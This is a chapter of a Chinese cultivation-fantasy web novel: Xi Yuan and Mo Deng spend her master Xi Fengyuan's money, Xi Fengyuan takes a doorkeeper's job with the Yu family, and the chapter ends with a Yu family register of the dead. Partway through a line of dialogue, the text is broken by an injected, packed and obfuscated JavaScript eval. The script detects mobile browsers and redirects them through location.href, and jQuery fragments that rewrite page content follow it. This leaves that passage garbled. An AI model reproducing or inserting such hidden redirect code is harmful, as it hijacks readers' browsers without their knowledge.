有些人点菜为了彰显自己的家财,只点贵的不点好的,奚缘不一样,她点的更贵一点。
已经不是炫富的贵,是冤大头的贵,侍者拿着菜单下去都在震惊,这菜居然真的卖得出去?
不过就算奚缘花了那么多钱,坐在她对面负责结账的人依旧眼睛都不眨一下。
他冷静得好像钱不是他付的,又好像根本不认识账单上的数字。
奚缘在心里想归一宗内置的学院也就刚开了几年,这位不会真没上过学吧?
菜很快端了上来,速度之快让奚缘怀疑是不是怕他们后悔跑路了,奚缘尝了一口,味道确实对得起价格。
特指不需要她付钱的时候。
奚缘搁那埋头哐哐试菜呢,莫等倒是如他所说的并不动筷子,只是偶尔替奚缘挪一下食物的位置,方便她取用。
等奚缘吃饭的动作慢下来,莫等就了然地叫来侍者结账,动作毫不拖泥带水,好像灵石只是一串没有意义的数字一样,奚缘凑过去一看——
他签的是她师父的名字。
合着钱真不是你付的啊!
奚缘抓着他结实的手臂,愤愤道:“你怎么这样!”
莫等歪头,不解地:“?”
“为什么不让我也花点!”那可都是她师父的钱啊!她一分也花不到!好心痛!
于是两人从酒楼出来就拐到了商会,花了一下午的时间从街头买到巷尾。
……
奚缘这边是买爽了,另一边的奚风远看着接连发来的账单只觉得眼前一黑。
他自然不是刚到的于家,事实上,和正在商量要不要坐飞舟慢慢飞过来,顺便欣赏风景的败家二人组不同,他是一路使用传送阵过来的。
传送阵很快,除了修为不够高的人短时间多次使用会有一些不伤及根本的副作用以外,可以说是出行的不二选择,奚风远赶时间,那点副作用对他来说还不如奚缘让他头疼。
当然更比不上天天偏头痛的沈清卿。
然而就算在他拿到了于家的请帖就赶路的情况下,也依旧没赶得上他们对外的宴会。
那没办法了,他把打下来的信鸽一扔,他一分钱份子钱都不会给的,不过就算给了,他们也不一定有命花吧?
……
“怎么偏偏是今天?”姜汤急得在房间里乱转,“今天这么大的日子,你说去不了,你还想不想在于家干了?!”
这可是于家正式确立少族长的日子!所有于家人都会回来的,主人家全都到了他们做下人……这档口怎么能不去呢?到时候上面的人一统计他们全得玩完!
躺在床上的男人面色苍白,他咳起来声音也有气无力的:“哥,你替我想想办法,实在不行,咱们找个人替行不?”
姜汤面色几经变换,到底答应下来:“我想想办法。”
能怎么办,这毕竟是他亲弟弟啊!
他走出门去,一时之间也不知道去哪找到一个口风紧的,于家今夜小宴,他弟弟虽然只是守一个侧门,但谁不知道今晚查得严!
他们哪管你有什么原因呢?他有些悲哀地想,外面的人看他们在于家做事以为他们过得多舒服,实际上个中滋味只有自己知道。
钱当然是更多的,细碎的事也很多,一年到头都忙,忙得没法修炼,不过,如果不是自觉修炼一眼看得到头,也没人愿意给世家人看大门吧。
姜汤在心里叹了口气,面上却是不动声色的,他在于家待了很多年,最是懂得掩饰自己的,凡事都暴露在脸上的往往死得很快。
哪怕只是家族的下人,权力倾轧也少不了。
他在城里招工的地方停下脚步,又寻了个并不引人注意的角落仔细观察过往的人,如果要找人代替他弟弟一天,自然不能要过于老成的,最好还是外地的,人生地不熟的说话也会更谨慎些。
他盯上了一个目标,长得普通,看上去二三十岁,将将筑基的修为,几经思索之后他上前搭话,好在这个年轻人确实焦急找个糊口工作,他便装作过来的人样子:“老弟怎么这么急?”
年轻人叹气说:“没办法啊大哥,家里催着拿钱……”
姜汤作了然状:“都这样,都不容易啊,老哥这里有个一天的短工,做不做?能拿这个数呢!”
姜汤伸出五根手指,年轻人明显愣住了,他左右张望确认没人注意这边了才小声说:“五个下品灵石?”
“五十!”姜汤收起手,颇为自得,“给于家做事哪能亏待你呢?做不做?”
“那肯定做啊!”
“得,”姜汤带着人往外走,找了个偏僻的茶摊,才让他填些个人资料,“也不是老哥不信你,实在是于家管得严,于家知道吧?”
“哪能不知道呢,”那年轻人低头填信息,“这城不都是于家的地盘吗。”
“那可不,厉害着呢,”虽然平日里没少骂过于家事多,但提起这个威名远扬的家族姜汤也是与有荣焉,“你别看我们于家不是四大世家,要我说,吕家早就不如我们于家喽……”
“还有那些娘们管的家族,要我说,娘们能做成什么事,迟早有一天,于家会把她们……”
年轻人带着乡巴佬刚进城特有的迷茫:“啊?老哥,我听不懂,”他把填好的资料递过去,“你看看?”
姜汤被打断了有些恼火,他接过去一看,被上面的字丑得心神一颤,再看那名字:“夏小雪?”
他莫不是在驴我?
正经男的能取这名字?
“是啊是啊,”夏小雪点头,“我还有个哥叫夏小雨,还有个弟叫夏小鸟。”
姜汤当即托人查了下这名字和容貌的具体信息,开玩笑,他只是给弟弟找个替班的,没打算把自己一家人搞死。
他不动声色地和夏小雪套了会家常,终于等到了朋友给的结果,确实是真的,这家还有三个姐妹,好吧,那只能证明这家人起名是真的奇葩。
他放松下来,领着人往弟弟的住所走:“好了夏老弟,我要给你讲讲今晚要注意的事了,这于家啊是名门望族,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110075|163219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
规矩也就比较多……”
夏小雪自然点头称是,突然他脸色一变,拿出玻璃纸:“……”
姜汤见他面色不对,关心道:“怎么了老弟?”
夏小雪深吸一口气:“我弟弟把全家攒着给他治脑子的灵石全吃了。”
“……牙口挺好。”
夏小雪苦笑:“是啊。”
他一天挣50下品灵石,莫等一顿饭就做掉五千上品灵石……要知道一百下品灵石才能换一个中品灵石,一百个中品灵石才能换一个上品灵石,四舍五入他要看两千七百年大门才能挣到这么多钱。
两千七百年别说于家了,太上宗都被他看没了吧!
本来奚风远还想着这么多年没过过苦日子了,可能装不出那种悲惨的神态,现在好了,他眼神都死掉了。
奚风远麻木地去看大门,还能听到人蛐蛐他的声音——
“这人挺面生啊?”
“可能以前没注意到吧,这半死不活的表情,肯定在这呆很久了,错不了!”
……
奚缘被抱着买了喜欢的东西,终于心满意足地窝在莫等怀里继续赶路了,因为耽搁了点时间,他们不得不选择传送阵。
连续经过几个传送阵后,也到了太上宗的地盘,再往里御剑就不太合适了,莫等就带奚缘去乘坐飞舟。
说是舟,其实非常大,有五六层楼那么高,登记得也挺严,上上下下的人都需要身份证明,奚缘就看到不少人被拦住了。
他们排了挺久队,才终于轮到,登记的人上下打量他们:“兄妹?”
莫等摇头:“师徒。”
奚缘猛地看向他,在心里想着待会怎么试探一下莫等的身份,又见莫等在签名那填了个“奚风远”。
“我是她的师父,她是我的徒弟。”莫等这么说,奚缘却莫名听出了几分笑意。
占她便宜这么开心吗!
奚缘气鼓鼓地吃了个贵贵的晚饭,又气鼓鼓地在充满灵力的温泉洗了个没有感情的澡,最后坐在床上气鼓鼓地擦头发……擦不干,于是真的生气了。
莫等看着这小孩跟河豚一样在房间里走来走去,居然也能把自己弄干净了,除了衣服穿得是在乱七八糟以外,这不是挺好带的吗?
他用灵力把奚缘的头发吹干,至于衣服,明天再说吧。
也许是人生地不熟,奚缘半夜又醒了,她拥着被子在床上发了会呆,一时之间也睡不着了,她下意识地找大人,就裹着被子下了床。
她走啊走,终于在露台找到了好像在发呆的莫等,后者面前放着本书,还搁着支笔……让奚缘想起了她师父。
让我看看你在干什么!
奚缘吭哧吭哧地顺着莫等的腿往上爬,最终被看不下去的莫等连人带被子抱起来。
“咦?”奚缘借着月色看清楚上面的字,都是名字,还大部分姓于,“这是什么?”
“于家的族谱,”莫等说,“不用看了,都是死人。”
我嘞个死亡笔记啊。